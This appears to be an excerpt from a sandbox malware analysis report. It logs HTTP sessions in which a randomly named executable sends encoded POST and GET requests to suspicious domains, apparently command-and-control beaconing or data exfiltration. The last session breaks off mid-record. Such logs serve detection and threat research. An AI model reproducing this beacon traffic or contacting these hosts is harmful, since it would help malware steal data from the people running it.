17	192.168.2.4	49864	172.67.223.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:48.742036104 CET	798	OUT	POST /nja3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.ssrpidemt-soar.sbs Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.ssrpidemt-soar.sbs Referer: http://www.ssrpidemt-soar.sbs/nja3/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 38 56 54 77 45 58 2f 49 53 48 79 68 61 72 5a 55 31 4c 34 51 70 45 47 4f 74 66 37 6b 72 68 59 32 4d 45 6e 53 71 4d 67 48 5a 6b 6b 72 62 55 44 79 4c 49 62 39 5a 56 62 31 31 7a 55 53 77 61 6c 31 30 68 68 36 70 69 45 36 6f 62 37 2b 39 33 62 45 2b 51 68 4a 68 30 35 33 55 68 4d 64 48 57 2b 67 67 4a 56 49 61 42 53 4a 34 68 58 6a 54 78 36 50 6c 7a 6d 55 35 72 76 31 75 71 73 69 49 47 66 6f 75 31 79 62 44 54 72 54 6c 2f 63 71 6d 69 67 2f 2f 72 5a 45 53 33 52 63 6e 52 71 31 33 35 4a 6f 41 33 37 55 34 58 39 6e 70 48 6d 2b 79 6c 43 2b 44 6c 34 6a 2b 70 33 48 42 6a 61 75 49 2b 4b 78 49 41 3d 3d Data Ascii: ifzt=8VTwEX/ISHyharZU1L4QpEGOtf7krhY2MEnSqMgHZkkrbUDyLIb9ZVb11zUSwal10hh6piE6ob7+93bE+QhJh053UhMdHW+ggJVIaBSJ4hXjTx6PlzmU5rv1uqsiIGfou1ybDTrTl/cqmig//rZES3RcnRq135JoA37U4X9npHm+ylC+Dl4j+p3HBjauI+KxIA==
Nov 25, 2024 09:43:50.074935913 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:43:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 18:03:22 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=81xz05wKBT8Sl3SDWGNOdJn3MEcAMR0YwyOAfEgaqQbqFjqufv7zUcOmtkAQzo%2B3h9ExqowD0uIZFUHzVD7ktSeil5IOY5T5TcMPgX3intnXJq34sAcETHA5a2PakdwPW2Q3cTmxqjKO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e805a738b624243-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2309&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=798&delivery_rate=0&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 63 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 64 02 81 b4 d4 4d bb 31 9a a4 91 46 bb 89 49 03 26 56 04 7b f4 92 6b 6c 48 ec 60 5f d3 86 89 ff 1d 39 c9 da 4e fc 7a c1 79 b1 ef be fb be 3b fb 2e f1 93 f9 fb d9 e2 f6 fa 1c 04 95 05 5c 7f 7c 7d 75 39 03 cf 67 ec d3 78 c6 d8 7c 31 87 cf 6f 16 6f af 20 18 0c e1 86 8c 4c 89 b1 f3 77 1e 78 82 a8 0a 19 5b af d7 83 f5 78 a0 4d ce 16 1f d8 c6 b1 04 2e ac df fa b6 8d 19 64 94 79 c9 41 dc 8a 6c ca 42 d9 e9 6f 08 82 c9 64 d2 c5 79 0e 14 16 5c e5 53 0f 95 07 db 5d 12 0b e4 59 72 00 00 10 93 a4 02 93 e3 e1 31 3c 2b 33 6e 45 04 ef 34 c1 85 5e a9 2c 66 9d b3 03 96 48 1c 9c 9e 8f df 56 b2 9e 7a 33 ad 08 15 f9 8b a6 42 0f d2 ee 34 f5 08 37 c4 9c 7e 04 a9 e0 c6 22 4d 3f 2e 2e fc 57 1e db 27 52 bc c4 a9 97 a1 4d 8d ac 48 6a b5 c7 70 a3 8d 69 8e a0 e2 39 82 d2 04 4b 97 cc 36 dc 52 53 20 50 53 61 af 95 5a eb 75 3e b7 ee 74 d6 c0 fd 52 2b f2 ad fc 8e 61 70 5c 6d 22 48 75 a1 4d 78 78 da ae 08 5a f7 92 97 b2 68 42 6e 24 2f 22 70 54 3e 2f 64 ae [TRUNCATED] Data Ascii: 2c8To0~_qdM1FI&V{klH`_9Nzy;.\\|}u9gx\|1oo Lwx[xM.dyAlBody\S]Yr1<+3nE4^,fHVz3B47~"M?..W'RMHjpi9K6RS PSaZu>tR+ap\m"HuMxxZhBn$/"pT>/d~l9Epr29;=&*aFpp~rv2ID`5
Nov 25, 2024 09:43:50.074956894 CET	342	IN	Data Raw: ca 5c 50 08 77 ba c8 22 28 90 08 8d 6f 2b 9e 4a 95 87 e0 07 0e f8 20 ef 8f 5b f9 f1 a4 da ec e9 57 70 bf 96 19 89 70 dc d1 fe 5a 6c 4f e0 17 b8 a4 90 af 48 47 bd c1 b4 da ad e5 01 43 ba 0a 61 ec ea dc 29 64 b2 fe 2f 1a 3b 46 1e 16 52 7d dd dd db Data Ascii: \Pw"(o+J [WppZlOHGCa)d/;FR}dVfd]"fm%1 vbv+Y~ %cx0J]L$v i4Lm7ph%o$,Ak[[+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49872	172.67.223.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:51.404033899 CET	818	OUT	POST /nja3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.ssrpidemt-soar.sbs Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.ssrpidemt-soar.sbs Referer: http://www.ssrpidemt-soar.sbs/nja3/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 38 56 54 77 45 58 2f 49 53 48 79 68 61 4c 70 55 36 49 41 51 68 45 47 4e 7a 50 37 6b 39 52 5a 39 4d 45 72 53 71 4a 41 74 59 53 30 72 61 31 7a 79 4b 4a 62 39 58 31 62 31 2b 54 55 58 75 71 6c 38 30 68 6c 79 70 67 67 36 6f 62 76 2b 39 33 72 45 2b 6e 4e 47 67 6b 35 50 50 52 4d 66 4a 32 2b 67 67 4a 56 49 61 48 2f 42 34 68 66 6a 51 43 69 50 6a 69 6d 58 6e 62 76 36 70 71 73 69 4d 47 66 73 75 31 79 74 44 53 33 74 6c 35 41 71 6d 6a 77 2f 36 71 5a 62 4c 48 51 58 71 78 71 6a 6d 49 56 67 49 46 37 66 6c 78 6c 46 33 48 57 50 36 44 50 6b 53 55 5a 30 73 70 54 30 63 6b 54 61 46 39 33 34 54 45 42 63 4d 73 34 46 39 33 64 46 43 6d 6d 31 58 47 72 58 69 51 77 3d Data Ascii: ifzt=8VTwEX/ISHyhaLpU6IAQhEGNzP7k9RZ9MErSqJAtYS0ra1zyKJb9X1b1+TUXuql80hlypgg6obv+93rE+nNGgk5PPRMfJ2+ggJVIaH/B4hfjQCiPjimXnbv6pqsiMGfsu1ytDS3tl5Aqmjw/6qZbLHQXqxqjmIVgIF7flxlF3HWP6DPkSUZ0spT0ckTaF934TEBcMs4F93dFCmm1XGrXiQw=
Nov 25, 2024 09:43:52.763998032 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:43:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 18:03:22 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FbCixQaEzHN9xIhIJBUogLDHdf4H77tAXBf%2BB0ouOOe%2BwsDDZmd5glId0gl9hG6i%2FEg1vSZsC5sssPf3emtV3r%2F6xSzPKAzaJPcL73LHjT%2Bvitkzeooq4f%2BU7U1P6yPgmYUpPT713ZSu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e805a8479ee42c2-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2062&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=818&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 64 02 81 b4 d4 4d bb 31 9a a4 91 46 bb 89 49 03 26 56 04 7b f4 92 6b 6c 48 ec 60 5f d3 86 89 ff 1d 39 c9 da 4e fc 7a c1 79 b1 ef be fb be 3b fb 2e f1 93 f9 fb d9 e2 f6 fa 1c 04 95 05 5c 7f 7c 7d 75 39 03 cf 67 ec d3 78 c6 d8 7c 31 87 cf 6f 16 6f af 20 18 0c e1 86 8c 4c 89 b1 f3 77 1e 78 82 a8 0a 19 5b af d7 83 f5 78 a0 4d ce 16 1f d8 c6 b1 04 2e ac df fa b6 8d 19 64 94 79 c9 41 dc 8a 6c ca 42 d9 e9 6f 08 82 c9 64 d2 c5 79 0e 14 16 5c e5 53 0f 95 07 db 5d 12 0b e4 59 72 00 00 10 93 a4 02 93 e3 e1 31 3c 2b 33 6e 45 04 ef 34 c1 85 5e a9 2c 66 9d b3 03 96 48 1c 9c 9e 8f df 56 b2 9e 7a 33 ad 08 15 f9 8b a6 42 0f d2 ee 34 f5 08 37 c4 9c 7e 04 a9 e0 c6 22 4d 3f 2e 2e fc 57 1e db 27 52 bc c4 a9 97 a1 4d 8d ac 48 6a b5 c7 70 a3 8d 69 8e a0 e2 39 82 d2 04 4b 97 cc 36 dc 52 53 20 50 53 61 af 95 5a eb 75 3e b7 ee 74 d6 c0 fd 52 2b f2 ad fc 8e 61 70 5c 6d 22 48 75 a1 4d 78 78 da ae 08 5a f7 92 97 b2 68 42 6e 24 2f 22 70 54 3e 2f 64 ae [TRUNCATED] Data Ascii: 2d3To0~_qdM1FI&V{klH`_9Nzy;.\\|}u9gx\|1oo Lwx[xM.dyAlBody\S]Yr1<+3nE4^,fHVz3B47~"M?..W'RMHjpi9K6RS PSaZu>tR+ap\m"HuMxxZhBn$/"pT>/d~l9Epr29;=&*aFpp~rv2
Nov 25, 2024 09:43:52.764067888 CET	349	IN	Data Raw: 9c 03 f4 49 ec 44 60 d4 8a b4 86 35 ca 5c 50 08 77 ba c8 22 28 90 08 8d 6f 2b 9e 4a 95 87 e0 07 0e f8 20 ef 8f 5b f9 f1 a4 da ec e9 57 70 bf 96 19 89 70 dc d1 fe 5a 6c 4f e0 17 b8 a4 90 af 48 47 bd c1 b4 da ad e5 01 43 ba 0a 61 ec ea dc 29 64 b2 Data Ascii: ID`5\Pw"(o+J [WppZlOHGCa)d/;FR}dVfd]"fm%1 vbv+Y~ %cx0J]L$v i4Lm7ph%o$,Ak

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49881	172.67.223.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:54.086210012 CET	10900	OUT	POST /nja3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.ssrpidemt-soar.sbs Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.ssrpidemt-soar.sbs Referer: http://www.ssrpidemt-soar.sbs/nja3/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 38 56 54 77 45 58 2f 49 53 48 79 68 61 4c 70 55 36 49 41 51 68 45 47 4e 7a 50 37 6b 39 52 5a 39 4d 45 72 53 71 4a 41 74 59 53 38 72 62 48 4c 79 4c 71 7a 39 55 31 62 31 7a 7a 55 57 75 71 6b 73 30 6c 4a 32 70 67 74 59 6f 64 6a 2b 73 6d 4c 45 75 53 35 47 75 6b 35 50 51 68 4d 63 48 57 2f 69 67 4a 46 32 61 42 66 42 34 68 66 6a 51 45 6d 50 31 44 6d 58 6c 62 76 31 75 71 73 75 49 47 66 55 75 31 61 39 44 53 43 59 6c 4b 59 71 6c 44 41 2f 39 49 68 62 55 33 51 56 74 78 72 67 6d 49 59 2b 49 45 57 6d 6c 78 35 2f 33 45 4b 50 36 48 69 69 57 57 46 4f 2b 70 44 59 5a 6d 79 77 65 63 4c 43 59 30 4e 31 43 35 63 4e 67 33 68 58 45 33 62 2b 51 30 76 4d 78 55 54 63 30 74 34 4b 38 4a 33 50 4c 6e 4d 37 62 34 79 4c 49 31 59 55 64 31 43 50 2b 71 4b 4b 73 6a 66 58 44 58 4a 51 35 6b 5a 7a 68 53 31 45 48 47 38 79 53 2b 45 62 2b 42 72 4d 47 49 38 70 4e 6b 59 6e 54 7a 4d 78 64 53 32 4d 69 35 66 55 48 7a 33 79 35 53 6e 38 79 2f 6a 4c 57 4e 5a 35 67 4b 77 42 54 56 47 44 48 56 71 6f 4f 69 36 67 30 63 50 46 6d 54 51 52 61 [TRUNCATED] Data Ascii: ifzt=8VTwEX/ISHyhaLpU6IAQhEGNzP7k9RZ9MErSqJAtYS8rbHLyLqz9U1b1zzUWuqks0lJ2pgtYodj+smLEuS5Guk5PQhMcHW/igJF2aBfB4hfjQEmP1DmXlbv1uqsuIGfUu1a9DSCYlKYqlDA/9IhbU3QVtxrgmIY+IEWmlx5/3EKP6HiiWWFO+pDYZmywecLCY0N1C5cNg3hXE3b+Q0vMxUTc0t4K8J3PLnM7b4yLI1YUd1CP+qKKsjfXDXJQ5kZzhS1EHG8yS+Eb+BrMGI8pNkYnTzMxdS2Mi5fUHz3y5Sn8y/jLWNZ5gKwBTVGDHVqoOi6g0cPFmTQRa7s6cQzj2aYMhNNOZp1OLuTdgkNZLCgO/S1vSioafE3j5+pksTCQmn3/TxTMlf1OjftLPCJmJ2igUGRdjQQ5FY++lPrpEaaAbZdpafwcB1ufchedbp87lMNFw8CM7fcwbc3z5gG/0npCxmBjbMapWD8zjr76oEVZV1ugYJ+ZqZfaddn2SjNHt0vwdEDFlicFCPfQuE2OMTmFbSleG0u46ptwOL+aHzSSj5LDURFSdNSFy4EKDoLVl2HGVb+ikrmdoSd/Eaw18fbPoVZqUJcSyKggkirwBYP2Rd/1WhYCMTBHGp10zo7PAe32cnpiE6TkWz4SRN/BwHDZLiifoJd47eii7oVCaYzlfz6qz8AqiT0UeyyMnxSBmiPc5QrxJPjGuurISquJ2Y3R9wqUn8PO7N55vzO7S8gNNWUnqnUL/OsSEzqJ0oOWfhyvizHbAFTj69cy7G5s3zpAxbAxuD5856h2qjVbdFmBXFrosfZjsp4T93fif5o3WFhb4eQsERIZlTNkzAHR0/dYB9QUkUCO4eP1BuJHEWyusqYIYx2c+3xniD23Ly8FhNUVlPAZUOb2jobQBBz2NSkoz7VdtYXt1mg5ugnTiidzX8hEZCqf9BUFtx8341Oc5mD5iTCn7Hu+pAqSN/6RL5v0bv/teiLcPxICfKdgObKsIXz [TRUNCATED]
Nov 25, 2024 09:43:55.395097017 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:43:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 18:03:22 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=140qK32yVEVwPJUhwoLOY23A3fzoHPiIF9DPqyWJedvfp9m8QPrs%2FKnVLKlX%2BYOGDw4Roh2XWPJVzozek8wk5MegsrOCnh%2FwIfNkc7PmXeZ4AfzKVM6mQFQWXLx2bPia7Q3z2s3lmoUx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e805a94e8a7c33d-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1693&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10900&delivery_rate=0&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 63 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 64 02 81 b4 d4 4d bb 31 9a a4 91 46 bb 89 49 03 26 56 04 7b f4 92 6b 6c 48 ec 60 5f d3 86 89 ff 1d 39 c9 da 4e fc 7a c1 79 b1 ef be fb be 3b fb 2e f1 93 f9 fb d9 e2 f6 fa 1c 04 95 05 5c 7f 7c 7d 75 39 03 cf 67 ec d3 78 c6 d8 7c 31 87 cf 6f 16 6f af 20 18 0c e1 86 8c 4c 89 b1 f3 77 1e 78 82 a8 0a 19 5b af d7 83 f5 78 a0 4d ce 16 1f d8 c6 b1 04 2e ac df fa b6 8d 19 64 94 79 c9 41 dc 8a 6c ca 42 d9 e9 6f 08 82 c9 64 d2 c5 79 0e 14 16 5c e5 53 0f 95 07 db 5d 12 0b e4 59 72 00 00 10 93 a4 02 93 e3 e1 31 3c 2b 33 6e 45 04 ef 34 c1 85 5e a9 2c 66 9d b3 03 96 48 1c 9c 9e 8f df 56 b2 9e 7a 33 ad 08 15 f9 8b a6 42 0f d2 ee 34 f5 08 37 c4 9c 7e 04 a9 e0 c6 22 4d 3f 2e 2e fc 57 1e db 27 52 bc c4 a9 97 a1 4d 8d ac 48 6a b5 c7 70 a3 8d 69 8e a0 e2 39 82 d2 04 4b 97 cc 36 dc 52 53 20 50 53 61 af 95 5a eb 75 3e b7 ee 74 d6 c0 fd 52 2b f2 ad fc 8e 61 70 5c 6d 22 48 75 a1 4d 78 78 da ae 08 5a f7 92 97 b2 68 42 6e 24 2f 22 70 54 3e 2f 64 ae [TRUNCATED] Data Ascii: 2c8To0~_qdM1FI&V{klH`_9Nzy;.\\|}u9gx\|1oo Lwx[xM.dyAlBody\S]Yr1<+3nE4^,fHVz3B47~"M?..W'RMHjpi9K6RS PSaZu>tR+ap\m"HuMxxZhBn$/"pT>/d~l9Epr29;=&*aFpp~rv2I
Nov 25, 2024 09:43:55.395175934 CET	349	IN	Data Raw: 44 60 d4 8a b4 86 35 ca 5c 50 08 77 ba c8 22 28 90 08 8d 6f 2b 9e 4a 95 87 e0 07 0e f8 20 ef 8f 5b f9 f1 a4 da ec e9 57 70 bf 96 19 89 70 dc d1 fe 5a 6c 4f e0 17 b8 a4 90 af 48 47 bd c1 b4 da ad e5 01 43 ba 0a 61 ec ea dc 29 64 b2 fe 2f 1a 3b 46 Data Ascii: D`5\Pw"(o+J [WppZlOHGCa)d/;FR}dVfd]"fm%1 vbv+Y~ %cx0J]L$v i4Lm7ph%o$,Ak[[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49887	172.67.223.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:56.739197969 CET	522	OUT	GET /nja3/?ifzt=xX7QHijLKmKAWZAs9KUJ90Gt08KwtA5eAlD9v6t/QyACTljzLqSragPJ2hUI6qEgwVB84l05/Y7pq3HewBlXgm1FdHpiB2a4qq1LC2jezQbSehWYjzmvyps=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.ssrpidemt-soar.sbs Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:43:58.057775021 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:43:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 18:03:22 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=syP%2F37s08wI9AxVRDoekntVfX73U30%2B44oBKnIB%2BQQF0Z1t%2BvLvzERA9Nskmksgz00azIRYOjYUancTjwINhbTKHr9EP3yRXkAzQ0Nlr6ahNkDIZCJ3YY93RgnHFtmejCWhmBXOzEjhr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e805aa5aec40f45-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1665&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=522&delivery_rate=0&cwnd=155&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 38 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 26 6d 64 61 73 68 3b 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: 583<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>404 — Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="description" content="Sorry, page not found"/> <style type="text/css"> body {font-siz
Nov 25, 2024 09:43:58.057900906 CET	1007	IN	Data Raw: 65 3a 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 23 37 37 37 37 37 37 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a Data Ascii: e:14px; color:#777777; font-family:arial; text-align:center;} h1 {font-size:180px; color:#99A7AF; margin: 70px 0 0 0;} h2 {color: #DE6C5D; font-family: arial; font-size: 20px; font-weight: bold; letter-spacing: -1px; margin: -3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49903	172.67.186.192	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:03.798336983 CET	792	OUT	POST /sba9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.izmirescortg.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.izmirescortg.xyz Referer: http://www.izmirescortg.xyz/sba9/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 73 75 69 36 59 4a 34 50 2b 56 65 6d 68 35 57 2f 54 41 2f 48 38 2f 50 34 52 75 6e 51 43 54 6a 61 78 6b 49 70 79 51 35 62 45 6c 56 39 6d 51 50 70 52 70 65 6c 42 58 44 79 71 49 79 5a 42 79 57 58 4e 4d 65 31 61 37 6c 51 75 2f 6a 44 42 6d 78 46 63 4f 7a 55 78 49 31 33 47 55 31 78 49 71 38 4c 6e 63 72 44 78 67 51 67 62 65 77 38 4f 5a 46 75 65 6f 35 2b 54 4f 59 35 55 33 4b 30 54 58 47 49 47 35 58 6d 6c 55 64 69 42 58 56 77 4f 68 48 70 76 39 47 4a 43 44 43 72 69 4b 6a 6b 43 6b 47 52 46 52 57 4a 78 32 5a 75 43 69 64 39 73 2b 34 78 70 56 38 55 6b 33 68 6c 30 78 41 71 2f 34 54 34 79 77 3d 3d Data Ascii: ifzt=sui6YJ4P+Vemh5W/TA/H8/P4RunQCTjaxkIpyQ5bElV9mQPpRpelBXDyqIyZByWXNMe1a7lQu/jDBmxFcOzUxI13GU1xIq8LncrDxgQgbew8OZFueo5+TOY5U3K0TXGIG5XmlUdiBXVwOhHpv9GJCDCriKjkCkGRFRWJx2ZuCid9s+4xpV8Uk3hl0xAq/4T4yw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49909	172.67.186.192	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:06.495822906 CET	812	OUT	POST /sba9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.izmirescortg.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.izmirescortg.xyz Referer: http://www.izmirescortg.xyz/sba9/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 73 75 69 36 59 4a 34 50 2b 56 65 6d 75 39 71 2f 49 6a 58 48 36 66 50 2f 49 4f 6e 51 4c 7a 6a 65 78 6b 45 70 79 52 74 78 46 54 46 39 6c 77 2f 70 44 34 65 6c 43 58 44 79 69 6f 79 63 4d 53 57 59 4e 4d 69 39 61 35 68 51 75 2f 33 44 42 6e 42 46 66 2f 7a 56 2b 34 31 31 41 55 31 4a 58 36 38 4c 6e 63 72 44 78 67 45 47 62 66 55 38 50 70 31 75 65 4d 74 39 4d 2b 59 36 56 33 4b 30 58 58 48 42 47 35 58 45 6c 57 6c 59 42 55 39 77 4f 6b 6a 70 75 70 79 47 59 54 43 74 39 61 69 68 43 52 71 59 42 44 48 69 78 48 39 74 43 32 74 69 70 34 31 72 34 6b 64 44 32 33 46 57 70 32 4a 65 79 37 75 78 70 37 46 6d 68 75 42 41 58 55 48 4d 6a 74 69 47 58 53 6f 70 64 2b 45 3d Data Ascii: 